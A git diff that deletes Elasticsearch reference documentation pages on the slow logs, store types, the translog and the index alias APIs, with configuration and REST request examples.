-PUT /my-index-000001/_settings
-{
-  "index.search.slowlog.threshold.query.warn": "10s",
-  "index.search.slowlog.threshold.query.info": "5s",
-  "index.search.slowlog.threshold.query.debug": "2s",
-  "index.search.slowlog.threshold.query.trace": "500ms",
-  "index.search.slowlog.threshold.fetch.warn": "1s",
-  "index.search.slowlog.threshold.fetch.info": "800ms",
-  "index.search.slowlog.threshold.fetch.debug": "500ms",
-  "index.search.slowlog.threshold.fetch.trace": "200ms",
-  "index.search.slowlog.level": "info"
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-By default, none are enabled (set to `-1`). Levels (`warn`, `info`,
-`debug`, `trace`) allow to control under which logging level the log
-will be logged. Not all are required to be configured (for example, only
-`warn` threshold can be set). The benefit of several levels is the
-ability to quickly "grep" for specific thresholds breached.
-
-The logging is done on the shard level scope, meaning the execution of a
-search request within a specific shard. It does not encompass the whole
-search request, which can be broadcast to several shards in order to
-execute. Some of the benefits of shard level logging is the association
-of the actual execution on the specific machine, compared with request
-level.
-
-The logging file is configured by default using the following
-configuration (found in `log4j2.properties`):
-
-[source,properties]
---------------------------------------------------
-appender.index_search_slowlog_rolling.type = RollingFile
-appender.index_search_slowlog_rolling.name = index_search_slowlog_rolling
-appender.index_search_slowlog_rolling.fileName = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}_index_search_slowlog.log
-appender.index_search_slowlog_rolling.layout.type = PatternLayout
-appender.index_search_slowlog_rolling.layout.pattern = [%d{ISO8601}][%-5p][%-25c] [%node_name]%marker %.-10000m%n
-appender.index_search_slowlog_rolling.filePattern = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}_index_search_slowlog-%i.log.gz
-appender.index_search_slowlog_rolling.policies.type = Policies
-appender.index_search_slowlog_rolling.policies.size.type = SizeBasedTriggeringPolicy
-appender.index_search_slowlog_rolling.policies.size.size = 1GB
-appender.index_search_slowlog_rolling.strategy.type = DefaultRolloverStrategy
-appender.index_search_slowlog_rolling.strategy.max = 4
-
-logger.index_search_slowlog_rolling.name = index.search.slowlog
-logger.index_search_slowlog_rolling.level = trace
-logger.index_search_slowlog_rolling.appenderRef.index_search_slowlog_rolling.ref = index_search_slowlog_rolling
-logger.index_search_slowlog_rolling.additivity = false
---------------------------------------------------
-
-[discrete]
-==== Identifying search slow log origin
-
-It is often useful to identify what triggered a slow running query. If a call was initiated with an `X-Opaque-ID` header, then the user ID
-is included in Search Slow logs as an additional **id** field (scroll to the right).
-[source,txt]
----------------------------
-[2030-08-30T11:59:37,786][WARN ][i.s.s.query              ] [node-0] [index6][0] took[78.4micros], took_millis[0], total_hits[0 hits], stats[], search_type[QUERY_THEN_FETCH], total_shards[1], source[{"query":{"match_all":{"boost":1.0}}}], id[MY_USER_ID],
----------------------------
-// NOTCONSOLE
-The user ID is also included in JSON logs.
-[source,js]
----------------------------
-{
-  "type": "index_search_slowlog",
-  "timestamp": "2030-08-30T11:59:37,786+02:00",
-  "level": "WARN",
-  "component": "i.s.s.query",
-  "cluster.name": "distribution_run",
-  "node.name": "node-0",
-  "message": "[index6][0]",
-  "took": "78.4micros",
-  "took_millis": "0",
-  "total_hits": "0 hits",
-  "stats": "[]",
-  "search_type": "QUERY_THEN_FETCH",
-  "total_shards": "1",
-  "source": "{\"query\":{\"match_all\":{\"boost\":1.0}}}",
-  "id": "MY_USER_ID",
-  "cluster.uuid": "Aq-c-PAeQiK3tfBYtig9Bw",
-  "node.id": "D7fUYfnfTLa2D7y-xw6tZg"
-}
----------------------------
-// NOTCONSOLE
-
-[discrete]
-[[index-slow-log]]
-=== Index Slow log
-
-The indexing slow log, similar in functionality to the search slow
-log. The log file name ends with `_index_indexing_slowlog.log`. Log and
-the thresholds are configured in the same way as the search slowlog.
-Index slowlog sample:
-
-[source,yaml]
---------------------------------------------------
-index.indexing.slowlog.threshold.index.warn: 10s
-index.indexing.slowlog.threshold.index.info: 5s
-index.indexing.slowlog.threshold.index.debug: 2s
-index.indexing.slowlog.threshold.index.trace: 500ms
-index.indexing.slowlog.level: info
-index.indexing.slowlog.source: 1000
---------------------------------------------------
-
-All of the above settings are _dynamic_ and can be set for each index using the
-<<indices-update-settings, update indices settings>> API. For example: 
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_settings
-{
-  "index.indexing.slowlog.threshold.index.warn": "10s",
-  "index.indexing.slowlog.threshold.index.info": "5s",
-  "index.indexing.slowlog.threshold.index.debug": "2s",
-  "index.indexing.slowlog.threshold.index.trace": "500ms",
-  "index.indexing.slowlog.level": "info",
-  "index.indexing.slowlog.source": "1000"
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-By default Elasticsearch will log the first 1000 characters of the _source in
-the slowlog. You can change that with `index.indexing.slowlog.source`. Setting
-it to `false` or `0` will skip logging the source entirely an setting it to
-`true` will log the entire source regardless of size. The original `_source` is
-reformatted by default to make sure that it fits on a single log line. If preserving
-the original document format is important, you can turn off reformatting by setting
-`index.indexing.slowlog.reformat` to `false`, which will cause the source to be
-logged "as is" and can potentially span multiple log lines.
-
-The index slow log file is configured by default in the `log4j2.properties`
-file:
-
-[source,properties]
---------------------------------------------------
-appender.index_indexing_slowlog_rolling.type = RollingFile
-appender.index_indexing_slowlog_rolling.name = index_indexing_slowlog_rolling
-appender.index_indexing_slowlog_rolling.fileName = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}_index_indexing_slowlog.log
-appender.index_indexing_slowlog_rolling.layout.type = PatternLayout
-appender.index_indexing_slowlog_rolling.layout.pattern = [%d{ISO8601}][%-5p][%-25c] [%node_name]%marker %.-10000m%n
-appender.index_indexing_slowlog_rolling.filePattern = ${sys:es.logs.base_path}${sys:file.separator}${sys:es.logs.cluster_name}_index_indexing_slowlog-%i.log.gz
-appender.index_indexing_slowlog_rolling.policies.type = Policies
-appender.index_indexing_slowlog_rolling.policies.size.type = SizeBasedTriggeringPolicy
-appender.index_indexing_slowlog_rolling.policies.size.size = 1GB
-appender.index_indexing_slowlog_rolling.strategy.type = DefaultRolloverStrategy
-appender.index_indexing_slowlog_rolling.strategy.max = 4
-
-logger.index_indexing_slowlog.name = index.indexing.slowlog.index
-logger.index_indexing_slowlog.level = trace
-logger.index_indexing_slowlog.appenderRef.index_indexing_slowlog_rolling.ref = index_indexing_slowlog_rolling
-logger.index_indexing_slowlog.additivity = false
---------------------------------------------------
diff --git a/docs/reference/index-modules/store.asciidoc b/docs/reference/index-modules/store.asciidoc
deleted file mode 100644
index 98f61e0ddab..00000000000
--- a/docs/reference/index-modules/store.asciidoc
+++ /dev/null
@@ -1,146 +0,0 @@
-[[index-modules-store]]
-== Store
-
-The store module allows you to control how index data is stored and accessed on disk.
-
-NOTE: This is a low-level setting. Some store implementations have poor
-concurrency or disable optimizations for heap memory usage. We recommend
-sticking to the defaults.
-
-[discrete]
-[[file-system]]
-=== File system storage types
-
-There are different file system implementations or _storage types_. By default,
-Elasticsearch will pick the best implementation based on the operating
-environment.
-
-The storage type can also be explicitly set for all indices by configuring the
-store type in the `config/elasticsearch.yml` file:
-
-[source,yaml]
----------------------------------
-index.store.type: hybridfs
----------------------------------
-
-It is a _static_ setting that can be set on a per-index basis at index
-creation time:
-
-[source,console]
----------------------------------
-PUT /my-index-000001
-{
-  "settings": {
-    "index.store.type": "hybridfs"
-  }
-}
----------------------------------
-
-WARNING: This is an expert-only setting and may be removed in the future.
-
-The following sections lists all the different storage types supported.
-
-`fs`::
-
-Default file system implementation. This will pick the best implementation
-depending on the operating environment, which is currently `hybridfs` on all
-supported systems but is subject to change.
-
-[[simplefs]]`simplefs`::
-
-The Simple FS type is a straightforward implementation of file system
-storage (maps to Lucene `SimpleFsDirectory`) using a random access file.
-This implementation has poor concurrent performance (multiple threads
-will bottleneck) and disables some optimizations for heap memory usage.
-
-[[niofs]]`niofs`::
-
-The NIO FS type stores the shard index on the file system (maps to
-Lucene `NIOFSDirectory`) using NIO. It allows multiple threads to read
-from the same file concurrently. It is not recommended on Windows
-because of a bug in the SUN Java implementation and disables some
-optimizations for heap memory usage.
-
-[[mmapfs]]`mmapfs`::
-
-The MMap FS type stores the shard index on the file system (maps to
-Lucene `MMapDirectory`) by mapping a file into memory (mmap). Memory
-mapping uses up a portion of the virtual memory address space in your
-process equal to the size of the file being mapped. Before using this
-class, be sure you have allowed plenty of
-<<vm-max-map-count,virtual address space>>.
-
-[[hybridfs]]`hybridfs`::
-
-The `hybridfs` type is a hybrid of `niofs` and `mmapfs`, which chooses the best
-file system type for each type of file based on the read access pattern.
-Currently only the Lucene term dictionary, norms and doc values files are
-memory mapped. All other files are opened using Lucene `NIOFSDirectory`.
-Similarly to `mmapfs` be sure you have allowed plenty of
-<<vm-max-map-count,virtual address space>>.
-
-[[allow-mmap]]
-You can restrict the use of the `mmapfs` and the related `hybridfs` store type
-via the setting `node.store.allow_mmap`. This is a boolean setting indicating
-whether or not memory-mapping is allowed. The default is to allow it. This
-setting is useful, for example, if you are in an environment where you can not
-control the ability to create a lot of memory maps so you need disable the
-ability to use memory-mapping.
-
-[[preload-data-to-file-system-cache]]
-=== Preloading data into the file system cache
-
-NOTE: This is an expert setting, the details of which may change in the future.
-
-By default, Elasticsearch completely relies on the operating system file system
-cache for caching I/O operations. It is possible to set `index.store.preload`
-in order to tell the operating system to load the content of hot index
-files into memory upon opening. This setting accept a comma-separated list of
-files extensions: all files whose extension is in the list will be pre-loaded
-upon opening. This can be useful to improve search performance of an index,
-especially when the host operating system is restarted, since this causes the
-file system cache to be trashed. However note that this may slow down the
-opening of indices, as they will only become available after data have been
-loaded into physical memory.
-
-This setting is best-effort only and may not work at all depending on the store
-type and host operating system.
-
-The `index.store.preload` is a static setting that can either be set in the
-`config/elasticsearch.yml`:
-
-[source,yaml]
----------------------------------
-index.store.preload: ["nvd", "dvd"]
----------------------------------
-
-or in the index settings at index creation time:
-
-[source,console]
----------------------------------
-PUT /my-index-000001
-{
-  "settings": {
-    "index.store.preload": ["nvd", "dvd"]
-  }
-}
----------------------------------
-
-The default value is the empty array, which means that nothing will be loaded
-into the file-system cache eagerly. For indices that are actively searched,
-you might want to set it to `["nvd", "dvd"]`, which will cause norms and doc
-values to be loaded eagerly into physical memory. These are the two first
-extensions to look at since Elasticsearch performs random access on them.
-
-A wildcard can be used in order to indicate that all files should be preloaded:
-`index.store.preload: ["*"]`. Note however that it is generally not useful to
-load all files into memory, in particular those for stored fields and term
-vectors, so a better option might be to set it to
-`["nvd", "dvd", "tim", "doc", "dim"]`, which will preload norms, doc values,
-terms dictionaries, postings lists and points, which are the most important
-parts of the index for search and aggregations.
-
-Note that this setting can be dangerous on indices that are larger than the size
-of the main memory of the host, as it would cause the filesystem cache to be
-trashed upon reopens after large merges, which would make indexing and searching
-_slower_.
diff --git a/docs/reference/index-modules/translog.asciidoc b/docs/reference/index-modules/translog.asciidoc
deleted file mode 100644
index 0ad2a989f6f..00000000000
--- a/docs/reference/index-modules/translog.asciidoc
+++ /dev/null
@@ -1,112 +0,0 @@
-[[index-modules-translog]]
-== Translog
-
-Changes to Lucene are only persisted to disk during a Lucene commit, which is a
-relatively expensive operation and so cannot be performed after every index or
-delete operation. Changes that happen after one commit and before another will
-be removed from the index by Lucene in the event of process exit or hardware
-failure.
-
-Lucene commits are too expensive to perform on every individual change, so each
-shard copy also writes operations into its _transaction log_ known as the
-_translog_. All index and delete operations are written to the translog after
-being processed by the internal Lucene index but before they are acknowledged.
-In the event of a crash, recent operations that have been acknowledged but not
-yet included in the last Lucene commit are instead recovered from the translog
-when the shard recovers.
-
-An {es} <<indices-flush,flush>> is the process of performing a Lucene commit and
-starting a new translog generation. Flushes are performed automatically in the
-background in order to make sure the translog does not grow too large, which
-would make replaying its operations take a considerable amount of time during
-recovery. The ability to perform a flush manually is also exposed through an
-API, although this is rarely needed.
-
-[discrete]
-=== Translog settings
-
-The data in the translog is only persisted to disk when the translog is
-++fsync++ed and committed. In the event of a hardware failure or an operating
-system crash or a JVM crash or a shard failure, any data written since the
-previous translog commit will be lost.
-
-By default, `index.translog.durability` is set to `request` meaning that
-Elasticsearch will only report success of an index, delete, update, or bulk
-request to the client after the translog has been successfully ++fsync++ed and
-committed on the primary and on every allocated replica. If
-`index.translog.durability` is set to `async` then Elasticsearch ++fsync++s and
-commits the translog only every `index.translog.sync_interval` which means that
-any operations that were performed just before a crash may be lost when the node
-recovers.
-
-The following <<indices-update-settings,dynamically updatable>> per-index
-settings control the behaviour of the translog:
-
-`index.translog.sync_interval`::
-
-  How often the translog is ++fsync++ed to disk and committed, regardless of
-  write operations. Defaults to `5s`. Values less than `100ms` are not allowed.
-
-`index.translog.durability`::
-+
---
-
-Whether or not to `fsync` and commit the translog after every index, delete,
-update, or bulk request. This setting accepts the following parameters:
-
-`request`::
-
-    (default) `fsync` and commit after every request. In the event of hardware
-    failure, all acknowledged writes will already have been committed to disk.
-
-`async`::
-
-    `fsync` and commit in the background every `sync_interval`. In
-    the event of a failure, all acknowledged writes since the last
-    automatic commit will be discarded.
---
-
-`index.translog.flush_threshold_size`::
-
-  The translog stores all operations that are not yet safely persisted in Lucene
-  (i.e., are not part of a Lucene commit point). Although these operations are
-  available for reads, they will need to be replayed if the shard was stopped
-  and had to be recovered. This setting controls the maximum total size of these
-  operations, to prevent recoveries from taking too long. Once the maximum size
-  has been reached a flush will happen, generating a new Lucene commit point.
-  Defaults to `512mb`.
-
-[discrete]
-[[index-modules-translog-retention]]
-==== Translog retention
-
-deprecated::[7.4.0, "Translog retention settings are deprecated in favor of <<index-modules-history-retention,soft deletes>>. These settings are effectively ignored since 7.4 and will be removed in a future version."]
-
-If an index is not using <<index-modules-history-retention,soft deletes>> to
-retain historical operations then {es} recovers each replica shard by replaying
-operations from the primary's translog. This means it is important for the
-primary to preserve extra operations in its translog in case it needs to
-rebuild a replica. Moreover it is important for each replica to preserve extra
-operations in its translog in case it is promoted to primary and then needs to
-rebuild its own replicas in turn. The following settings control how much
-translog is retained for peer recoveries.
-
-`index.translog.retention.size`::
-
-  This controls the total size of translog files to keep for each shard.
-  Keeping more translog files increases the chance of performing an operation
-  based sync when recovering a replica. If the translog files are not
-  sufficient, replica recovery will fall back to a file based sync. Defaults to
-  `512mb`. This setting is ignored, and should not be set, if soft deletes are
-  enabled. Soft deletes are enabled by default in indices created in {es}
-  versions 7.0.0 and later.
-
-`index.translog.retention.age`::
-
-  This controls the maximum duration for which translog files are kept by each
-  shard. Keeping more translog files increases the chance of performing an
-  operation based sync when recovering replicas. If the translog files are not
-  sufficient, replica recovery will fall back to a file based sync. Defaults to
-  `12h`. This setting is ignored, and should not be set, if soft deletes are
-  enabled. Soft deletes are enabled by default in indices created in {es}
-  versions 7.0.0 and later.
diff --git a/docs/reference/index.asciidoc b/docs/reference/index.asciidoc
deleted file mode 100644
index 1e39636c319..00000000000
--- a/docs/reference/index.asciidoc
+++ /dev/null
@@ -1,83 +0,0 @@
-[[elasticsearch-reference]]
-= Elasticsearch Reference
-
-:include-xpack:         true
-:es-test-dir:           {elasticsearch-root}/docs/src/test
-:plugins-examples-dir:  {elasticsearch-root}/plugins/examples
-:xes-repo-dir:          {elasticsearch-root}/x-pack/docs/{lang}
-:es-repo-dir:           {elasticsearch-root}/docs/reference
-
-include::../Versions.asciidoc[]
-include::links.asciidoc[]
-
-include::intro.asciidoc[]
-
-include::release-notes/highlights.asciidoc[]
-
-include::getting-started.asciidoc[]
-
-include::setup.asciidoc[]
-
-include::upgrade.asciidoc[]
-
-include::index-modules.asciidoc[]
-
-include::mapping.asciidoc[]
-
-include::analysis.asciidoc[]
-
-include::indices/index-templates.asciidoc[]
-
-include::data-streams/data-streams.asciidoc[]
-
-include::ingest.asciidoc[]
-
-include::search/search-your-data/search-your-data.asciidoc[]
-
-include::query-dsl.asciidoc[]
-
-include::aggregations.asciidoc[]
-
-include::eql/eql.asciidoc[]
-
-include::sql/index.asciidoc[]
-
-include::scripting.asciidoc[]
-
-include::data-management.asciidoc[]
-
-include::ilm/index.asciidoc[]
-
-ifdef::permanently-unreleased-branch[]
-
-include::autoscaling/index.asciidoc[]
-
-endif::[]
-
-include::monitoring/index.asciidoc[]
-
-include::frozen-indices.asciidoc[]
-
-include::data-rollup-transform.asciidoc[]
-
-include::high-availability.asciidoc[]
-
-include::snapshot-restore/index.asciidoc[]
-
-include::{xes-repo-dir}/security/index.asciidoc[]
-
-include::{xes-repo-dir}/watcher/index.asciidoc[]
-
-include::commands/index.asciidoc[]
-
-include::how-to.asciidoc[]
-
-include::glossary.asciidoc[]
-
-include::rest-api/index.asciidoc[]
-
-include::migration/index.asciidoc[]
-
-include::release-notes.asciidoc[]
-
-include::redirects.asciidoc[]
diff --git a/docs/reference/index.x.asciidoc b/docs/reference/index.x.asciidoc
deleted file mode 100644
index 35204eef5b6..00000000000
--- a/docs/reference/index.x.asciidoc
+++ /dev/null
@@ -1 +0,0 @@
-include::index.asciidoc[]
diff --git a/docs/reference/indices.asciidoc b/docs/reference/indices.asciidoc
deleted file mode 100644
index 46352a7a7d0..00000000000
--- a/docs/reference/indices.asciidoc
+++ /dev/null
@@ -1,192 +0,0 @@
-[[indices]]
-== Index APIs
-
-Index APIs are used to manage individual indices,
-index settings, aliases, mappings, and index templates.
-
-[discrete]
-[[index-management]]
-=== Index management:
-
-* <<indices-create-index>>
-* <<indices-delete-index>>
-* <<indices-get-index>>
-* <<indices-exists>>
-* <<indices-close>>
-* <<indices-open-close>>
-* <<indices-shrink-index>>
-* <<indices-split-index>>
-* <<indices-clone-index>>
-* <<indices-rollover-index>>
-* <<freeze-index-api>>
-* <<unfreeze-index-api>>
-* <<indices-resolve-index-api>>
-
-
-[discrete]
-[[mapping-management]]
-=== Mapping management:
-
-* <<indices-put-mapping>>
-* <<indices-get-mapping>>
-* <<indices-get-field-mapping>>
-* <<indices-types-exists>>
-
-[discrete]
-[[alias-management]]
-=== Alias management:
-* <<indices-add-alias>>
-* <<indices-delete-alias>>
-* <<indices-get-alias>>
-* <<indices-alias-exists>>
-* <<indices-aliases>>
-
-[discrete]
-[[index-settings]]
-=== Index settings:
-* <<indices-update-settings>>
-* <<indices-get-settings>>
-* <<indices-analyze>>
-
-[discrete]
-[[index-templates-apis]]
-=== Index templates:
-
-Index templates automatically apply settings, mappings, and aliases to new indices.
-They are most often used to configure rolling indices for time series data to 
-ensure that each new index has the same configuration as the previous one. 
-The index template associated with a data stream configures its backing indices. 
-For more information, see <<index-templates, Index Templates>>.
-
-* <<indices-put-template>>
-* <<indices-get-template>>
-* <<indices-delete-template>>
-* <<indices-component-template>>
-* <<getting-component-templates>>
-* <<indices-delete-component-template>>
-* <<indices-simulate-index>>
-* <<indices-simulate-template>>
-
-[discrete]
-[[monitoring]]
-=== Monitoring:
-* <<indices-stats>>
-* <<indices-segments>>
-* <<indices-recovery>>
-* <<indices-shards-stores>>
-
-[discrete]
-[[status-management]]
-=== Status management:
-* <<indices-clearcache>>
-* <<indices-refresh>>
-* <<indices-flush>>
-* <<indices-synced-flush-api>>
-* <<indices-forcemerge>>
-
-[discrete]
-[[dangling-indices-api]]
-=== Dangling indices:
-* <<dangling-indices-list>>
-* <<dangling-index-import>>
-* <<dangling-index-delete>>
-
-
-
-include::indices/add-alias.asciidoc[]
-
-include::indices/analyze.asciidoc[]
-
-include::indices/clearcache.asciidoc[]
-
-include::indices/clone-index.asciidoc[]
-
-include::indices/close.asciidoc[]
-
-include::indices/create-index.asciidoc[]
-
-include::indices/delete-index.asciidoc[]
-
-include::indices/delete-alias.asciidoc[]
-
-include::indices/delete-component-template.asciidoc[]
-
-include::indices/delete-index-template.asciidoc[]
-
-include::indices/delete-index-template-v1.asciidoc[]
-
-include::indices/flush.asciidoc[]
-
-include::indices/forcemerge.asciidoc[]
-
-include::indices/apis/freeze.asciidoc[]
-
-include::indices/get-component-template.asciidoc[]
-
-include::indices/get-field-mapping.asciidoc[]
-
-include::indices/get-index.asciidoc[]
-
-include::indices/get-alias.asciidoc[]
-
-include::indices/get-settings.asciidoc[]
-
-include::indices/get-index-template.asciidoc[]
-
-include::indices/get-index-template-v1.asciidoc[]
-
-include::indices/get-mapping.asciidoc[]
-
-include::indices/alias-exists.asciidoc[]
-
-include::indices/indices-exists.asciidoc[]
-
-include::indices/recovery.asciidoc[]
-
-include::indices/segments.asciidoc[]
-
-include::indices/shard-stores.asciidoc[]
-
-include::indices/stats.asciidoc[]
-
-include::indices/index-template-exists-v1.asciidoc[]
-
-include::indices/open-close.asciidoc[]
-
-include::indices/put-index-template.asciidoc[]
-
-include::indices/put-index-template-v1.asciidoc[]
-
-include::indices/put-component-template.asciidoc[]
-
-include::indices/put-mapping.asciidoc[]
-
-include::indices/refresh.asciidoc[]
-
-include::indices/rollover-index.asciidoc[]
-
-include::indices/shrink-index.asciidoc[]
-
-include::indices/simulate-index.asciidoc[]
-
-include::indices/simulate-template.asciidoc[]
-
-include::indices/split-index.asciidoc[]
-
-include::indices/synced-flush.asciidoc[]
-
-include::indices/types-exists.asciidoc[]
-
-include::indices/apis/unfreeze.asciidoc[]
-
-include::indices/aliases.asciidoc[]
-
-include::indices/update-settings.asciidoc[]
-
-include::indices/resolve.asciidoc[]
-
-include::indices/dangling-indices-list.asciidoc[]
-
-include::indices/dangling-index-import.asciidoc[]
-
-include::indices/dangling-index-delete.asciidoc[]
diff --git a/docs/reference/indices/add-alias.asciidoc b/docs/reference/indices/add-alias.asciidoc
deleted file mode 100644
index c51c35c4ac5..00000000000
--- a/docs/reference/indices/add-alias.asciidoc
+++ /dev/null
@@ -1,136 +0,0 @@
-[[indices-add-alias]]
-=== Add index alias API
-++++
-<titleabbrev>Add index alias</titleabbrev>
-++++
-
-Creates or updates an index alias.
-
-include::{es-repo-dir}/glossary.asciidoc[tag=index-alias-desc]
-
-[source,console]
-----
-PUT /my-index-000001/_alias/alias1
-----
-// TEST[setup:my_index]
-
-
-[[add-alias-api-request]]
-==== {api-request-title}
-
-`PUT /<index>/_alias/<alias>`
-
-`POST /<index>/_alias/<alias>`
-
-`PUT /<index>/_aliases/<alias>`
-
-`POST /<index>/_aliases/<alias>`
-
-
-[[add-alias-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Required, string)
-Comma-separated list or wildcard expression of index names
-to add to the alias.
-+
-To add all indices in the cluster to the alias,
-use a value of `_all`.
-+
-NOTE: You cannot add <<data-streams,data streams>> to an index alias.
-
-`<alias>`::
-(Required, string)
-Name of the index alias to create or update.
-
-
-[[add-alias-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[add-alias-api-request-body]]
-==== {api-request-body-title}
-
-`filter`::
-(Required, query object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-alias-filter]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-routing]
-
-[[add-alias-api-example]]
-==== {api-examples-title}
-
-[[alias-adding]]
-===== Add a time-based alias
-
-The following request creates an alias, `2030`,
-for the `logs_20302801` index.
-
-[source,console]
---------------------------------------------------
-PUT /logs_20302801/_alias/2030
---------------------------------------------------
-// TEST[s/^/PUT logs_20302801\n/]
-
-[[add-alias-api-user-ex]]
-===== Add a user-based alias
-
-First, create an index, `users`,
-with a mapping for the `user_id` field:
-
-[source,console]
---------------------------------------------------
-PUT /users
-{
-  "mappings" : {
-    "properties" : {
-      "user_id" : {"type" : "integer"}
-    }
-  }
-}
---------------------------------------------------
-
-Then add the index alias for a specific user, `user_12`:
-
-[source,console]
---------------------------------------------------
-PUT /users/_alias/user_12
-{
-  "routing" : "12",
-  "filter" : {
-    "term" : {
-      "user_id" : 12
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[[alias-index-creation]]
-===== Add an alias during index creation
-
-You can use the <<create-index-aliases,create index API>>
-to add an index alias during index creation.
-
-[source,console]
---------------------------------------------------
-PUT /logs_20302801
-{
-  "mappings": {
-    "properties": {
-      "year": { "type": "integer" }
-    }
-  },
-  "aliases": {
-    "current_day": {},
-    "2030": {
-      "filter": {
-        "term": { "year": 2030 }
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/indices/alias-exists.asciidoc b/docs/reference/indices/alias-exists.asciidoc
deleted file mode 100644
index 2596fddef6b..00000000000
--- a/docs/reference/indices/alias-exists.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
-[[indices-alias-exists]]
-=== Index alias exists API
-++++
-<titleabbrev>Index alias exists</titleabbrev>
-++++
-
-Checks if an index alias exists.
-
-include::{es-repo-dir}/glossary.asciidoc[tag=index-alias-desc]
-
-[source,console]
-----
-HEAD /_alias/alias1
-----
-// TEST[setup:my_index]
-// TEST[s/^/PUT my-index-000001\/_alias\/alias1\n/]
-
-
-[[alias-exists-api-request]]
-==== {api-request-title}
-
-`HEAD /_alias/<alias>`
-
-`HEAD /<index>/_alias/<alias>`
-
-
-[[alias-exists-api-path-params]]
-==== {api-path-parms-title}
-
-`<alias>`::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-alias]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index]
-
-[[alias-exists-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `all`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-
-[[alias-exists-api-response-codes]]
-==== {api-response-codes-title}
-
-`200`::
-Indicates all specified index aliases exist.
-
- `404`::
-Indicates one or more specified index aliases **do not** exist.
-
-
-[[alias-exists-api-example]]
-==== {api-examples-title}
-
-[source,console]
-----
-HEAD /_alias/2030
-HEAD /_alias/20*
-HEAD /logs_20302801/_alias/*
-----
-// TEST[s/^/PUT logs_20302801\nPUT logs_20302801\/_alias\/2030\n/]
diff --git a/docs/reference/indices/aliases.asciidoc b/docs/reference/indices/aliases.asciidoc
deleted file mode 100644
index cd45c71d7bc..00000000000
--- a/docs/reference/indices/aliases.asciidoc
+++ /dev/null
@@ -1,486 +0,0 @@
-[[indices-aliases]]
-=== Update index alias API
-++++
-<titleabbrev>Update index alias</titleabbrev>
-++++
-
-Adds or removes index aliases.
-
-include::{es-repo-dir}/glossary.asciidoc[tag=index-alias-desc]
-
-[source,console]
-----
-POST /_aliases
-{
-  "actions" : [
-    { "add" : { "index" : "my-index-000001", "alias" : "alias1" } }
-  ]
-}
-----
-// TEST[setup:my_index]
-
-
-[[indices-aliases-api-request]]
-==== {api-request-title}
-
-`POST /_aliases`
-
-
-[[indices-aliases-api-desc]]
-==== {api-description-title}
-
-APIs in Elasticsearch accept an index name when working against a
-specific index, and several indices when applicable. The index aliases
-API allows aliasing an index with a name, with all APIs automatically
-converting the alias name to the actual index name. An alias can also be
-mapped to more than one index, and when specifying it, the alias will
-automatically expand to the aliased indices. An alias can also be
-associated with a filter that will automatically be applied when
-searching, and routing values. An alias cannot have the same name as an index.
-
-
-[[indices-aliases-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[indices-aliases-api-request-body]]
-==== {api-request-body-title}
-
-`actions`::
-+
---
-(Required, array of actions)
-Set of actions to perform.
-Valid actions include:
-
-`add`::
-Adds an alias to an index.
-
-`remove`::
-Removes an alias from an index.
-
-`remove_index`::
-Deletes a concrete index, similar to the <<indices-delete-index, delete index
-API>>. Attempts to remove an index alias will fail.
-
-You can perform these actions on alias objects.
-Valid parameters for alias objects include:
-
-`index`::
-(String)
-Wildcard expression of index names
-used to perform the action.
-+
-If the `indices` parameter is not specified,
-this parameter is required.
-+
-NOTE: You cannot add <<data-streams,data streams>> to an index alias.
-
-`indices`::
-(Array)
-Array of index names
-used to perform the action.
-+
-If the `index` parameter is not specified,
-this parameter is required.
-+
-NOTE: You cannot add <<data-streams,data streams>> to an index alias.
-
-`alias`::
-(String)
-Comma-separated list or wildcard expression of index alias names to
-add, remove, or delete.
-+
-If the `aliases` parameter is not specified,
-this parameter is required for the `add` or `remove` action.
-
-`aliases`::
-(Array of strings)
-Array of index alias names to
-add, remove, or delete.
-+
-If the `alias` parameter is not specified,
-this parameter is required for the `add` or `remove` action.
-
-`filter`::
-(Optional, query object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-alias-filter]
-+
-See <<filtered>> for an example.
-
-`is_hidden`::
-(Optional, Boolean)
-If `true`, the alias will be excluded from wildcard expressions by default,
-unless overriden in the request using the `expand_wildcards` parameter,
-similar to <<index-hidden,hidden indices>>. This property must be set to the
-same value on all indices that share an alias. Defaults to `false`.
-
-`must_exist`::
-(Optional, Boolean)
-If `true`, the alias to remove must exist. Defaults to `false`.
-
-`is_write_index`::
-(Optional, Boolean)
-If `true`, assigns the index as an alias's write index.
-Defaults to `false`.
-+
-An alias can have one write index at a time.
-+
-See <<aliases-write-index>> for an example.
-+
-[IMPORTANT]
-====
-Aliases that do not explicitly set `is_write_index: true` for an index, and
-only reference one index, will have that referenced index behave as if it is the write index
-until an additional index is referenced. At that point, there will be no write index and
-writes will be rejected.
-====
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-routing]
-+
-See <<aliases-routing>> for an example.
-
-`index_routing`::
-(Optional, string)
-Custom <<mapping-routing-field, routing value>> used
-for the alias's indexing operations.
-+
-See <<aliases-routing>> for an example.
-
-`search_routing`::
-(Optional, string)
-Custom <<mapping-routing-field, routing value>> used
-for the alias's search operations.
-+
-See <<aliases-routing>> for an example.
---
-
-
-[[indices-aliases-api-example]]
-==== {api-examples-title}
